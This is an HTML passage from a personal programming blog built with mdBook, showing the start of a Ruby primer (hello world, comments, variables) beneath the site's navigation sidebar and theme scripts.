<!DOCTYPE HTML>
<html lang="en" class="sidebar-visible no-js coal">
    <head>
        <!-- Book generated using mdBook -->
        <meta charset="UTF-8">
        <title>Ruby Note - Andrew&#x27;s Blog</title>


        <!-- Custom HTML head -->
        
        <meta name="description" content="Andrew Ryan&#x27;s Blog">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="theme-color" content="#ffffff" />

        <link rel="icon" href="../../favicon.svg">
        <link rel="shortcut icon" href="../../favicon.png">
        <link rel="stylesheet" href="../../css/variables.css">
        <link rel="stylesheet" href="../../css/general.css">
        <link rel="stylesheet" href="../../css/chrome.css">

        <!-- Fonts -->
        <link rel="stylesheet" href="../../FontAwesome/css/font-awesome.css">
        <link rel="stylesheet" href="../../fonts/fonts.css">

        <!-- Highlight.js Stylesheets -->
        <link rel="stylesheet" href="../../highlight.css">
        <link rel="stylesheet" href="../../tomorrow-night.css">
        <link rel="stylesheet" href="../../ayu-highlight.css">

        <!-- Custom theme stylesheets -->
        <link rel="stylesheet" href="../../src/style/custom.css">

        <!-- MathJax -->
        <script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
    </head>
    <body>
    <div id="body-container">
        <!-- Provide site root to javascript -->
        <script>
            var path_to_root = "../../";
            var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "coal" : "coal";
        </script>

        <!-- Work around some values being stored in localStorage wrapped in quotes -->
        <script>
            try {
                var theme = localStorage.getItem('mdbook-theme');
                var sidebar = localStorage.getItem('mdbook-sidebar');

                if (theme.startsWith('"') && theme.endsWith('"')) {
                    localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
                }

                if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
                    localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
                }
            } catch (e) { }
        </script>

        <!-- Set the theme before any content is loaded, prevents flash -->
        <script>
            var theme;
            try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
            if (theme === null || theme === undefined) { theme = default_theme; }
            var html = document.querySelector('html');
            html.classList.remove('no-js')
            html.classList.remove('coal')
            html.classList.add(theme);
            html.classList.add('js');
        </script>

        <!-- Hide / unhide sidebar before it is displayed -->
        <script>
            var html = document.querySelector('html');
            var sidebar = null;
            if (document.body.clientWidth >= 1080) {
                try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
                sidebar = sidebar || 'visible';
            } else {
                sidebar = 'hidden';
            }
            html.classList.remove('sidebar-visible');
            html.classList.add("sidebar-" + sidebar);
        </script>

        <nav id="sidebar" class="sidebar" aria-label="Table of contents">
            <div class="sidebar-scrollbox">
                <ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> Linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/Linux/git_cheatsheet.html"><strong aria-hidden="true">1.6.</strong> Git Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/Linux/bash_cheatsheet.html"><strong aria-hidden="true">1.7.</strong> Bash Cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/macos/mac.html"><strong aria-hidden="true">2.</strong> MacOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/macos/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li><li class="chapter-item "><a href="../../posts/macos/macos_pwn_env_setup.html"><strong aria-hidden="true">2.2.</strong> macos pwn env setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> Swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in Swift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> iOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> Objective-C</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> Dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> Rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/how_to_create_yolov8_based_object_detection_web_service_using_python,_julia,_node.js,_javascript,_go_and_rust.html"><strong aria-hidden="true">7.25.</strong> How to create YOLOv8-based object detection web service using Python, Julia, Node.js, JavaScript, Go and Rust</a></li><li class="chapter-item "><a href="../../posts/rust/implment_builder_proc_macro_for_command_struct.html"><strong aria-hidden="true">7.26.</strong> implment Builder proc-macro for Command struct</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> Java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> Python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li><li class="chapter-item "><a href="../../posts/python/sanctum_model_yaml.html"><strong aria-hidden="true">9.5.</strong> sanctum model yaml</a></li><li class="chapter-item "><a href="../../posts/python/how_to_detect_objects_on_images_using_the_yolov8_neural_network.html"><strong aria-hidden="true">9.6.</strong> How to detect objects on images using the YOLOv8 neural network</a></li><li class="chapter-item "><a href="../../posts/python/use_huggingface_model.html"><strong aria-hidden="true">9.7.</strong> use huggingface model</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> Go</a></li><li class="chapter-item "><a href="../../posts/javascript/js.html"><strong aria-hidden="true">11.</strong> Javascript</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/javascript/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/javascript/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/javascript/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/javascript/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/javascript/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/javascript/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/javascript/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/javascript/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/javascript/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> Ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item expanded "><a href="../../posts/ruby/ruby_note.html" class="active"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> React</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> Vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> Angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> Css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> Php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/windows/windows.html"><strong aria-hidden="true">18.</strong> Windows</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/windows/windows.html"><strong aria-hidden="true">18.1.</strong> Windows</a></li><li class="chapter-item "><a href="../../posts/windows/windows10_use_powershell_dedup_redundent_path.html"><strong aria-hidden="true">18.2.</strong> Windows10 use PowerShell dedup redundent PATH</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">19.</strong> Leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">19.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">19.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">19.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">19.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">19.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">19.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">19.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">19.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">20.</strong> CTF</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">20.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">20.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">20.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">20.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">20.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">20.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">20.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">20.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">20.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">20.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">20.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">20.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">20.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">20.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">20.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">20.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">20.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">20.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">20.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">20.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">20.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">20.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">20.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">20.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">20.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/zip_plain_text_attack.html"><strong aria-hidden="true">20.26.</strong> Zip plain text attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">20.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">20.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">20.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">20.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">20.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">20.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">20.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">20.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">20.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">20.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/pwnable_kr_challenge.html"><strong aria-hidden="true">20.37.</strong> Solutions for pwnable.kr</a></li><li class="chapter-item "><a href="../../posts/ctf/the_periodic_table.html"><strong aria-hidden="true">20.38.</strong> The Periodic Table</a></li><li class="chapter-item "><a href="../../posts/ctf/pwntools_cheatsheet.html"><strong aria-hidden="true">20.39.</strong> Pwntools Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/gdb_cheatsheet.html"><strong aria-hidden="true">20.40.</strong> GDB Cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/iltes/iltes.html"><strong aria-hidden="true">21.</strong> ILTES</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/iltes/iltes_writing.html"><strong aria-hidden="true">21.1.</strong> ILTES Writing</a></li></ol></li></ol>
            </div>
            <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
        </nav>

        <!-- Track and set sidebar scroll position -->
        <script>
            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
            sidebarScrollbox.addEventListener('click', function(e) {
                if (e.target.tagName === 'A') {
                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
                }
            }, { passive: true });
            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
            sessionStorage.removeItem('sidebar-scroll');
            if (sidebarScrollTop) {
                // preserve sidebar scroll position when navigating via links within sidebar
                sidebarScrollbox.scrollTop = sidebarScrollTop;
            } else {
                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
                var activeSection = document.querySelector('#sidebar .active');
                if (activeSection) {
                    activeSection.scrollIntoView({ block: 'center' });
                }
            }
        </script>

        <div id="page-wrapper" class="page-wrapper">

            <div class="page">
                                <div id="menu-bar-hover-placeholder"></div>
                <div id="menu-bar" class="menu-bar sticky">
                    <div class="left-buttons">
                        <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                            <i class="fa fa-bars"></i>
                        </button>
                        <button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
                            <i class="fa fa-paint-brush"></i>
                        </button>
                        <ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
                            <li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
                            <li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
                        </ul>
                        <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
                            <i class="fa fa-search"></i>
                        </button>
                    </div>

                    <h1 class="menu-title">Andrew&#x27;s Blog</h1>

                    <div class="right-buttons">
                        <a href="https://gitee.com/dnrops/dnrops" title="Git repository" aria-label="Git repository">
                            <i id="git-repository-button" class="fa fa-github"></i>
                        </a>

                    </div>
                </div>

                <div id="search-wrapper" class="hidden">
                    <form id="searchbar-outer" class="searchbar-outer">
                        <input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
                    </form>
                    <div id="searchresults-outer" class="searchresults-outer hidden">
                        <div id="searchresults-header" class="searchresults-header"></div>
                        <ul id="searchresults">
                        </ul>
                    </div>
                </div>

                <!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
                <script>
                    document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
                    document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
                    Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
                        link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
                    });
                </script>

                <div id="content" class="content">
                    <main>
                        <h1 id="ruby-lean-note"><a class="header" href="#ruby-lean-note">Ruby lean Note</a></h1>
<h3 id="hello-world"><a class="header" href="#hello-world">Hello World</a></h3>
<pre><code class="language-ruby">puts &quot;Hello World!&quot;
</code></pre>
<h3 id="comments"><a class="header" href="#comments">Comments</a></h3>
<pre><code class="language-ruby"># single line comment

=begin
  Multi-lines
  comment
=end
</code></pre>
<h3 id="variables"><a class="header" href="#variables">Variables</a></h3>
<pre><code class="language-ruby">my_var = 42
My_constant_var = 31337
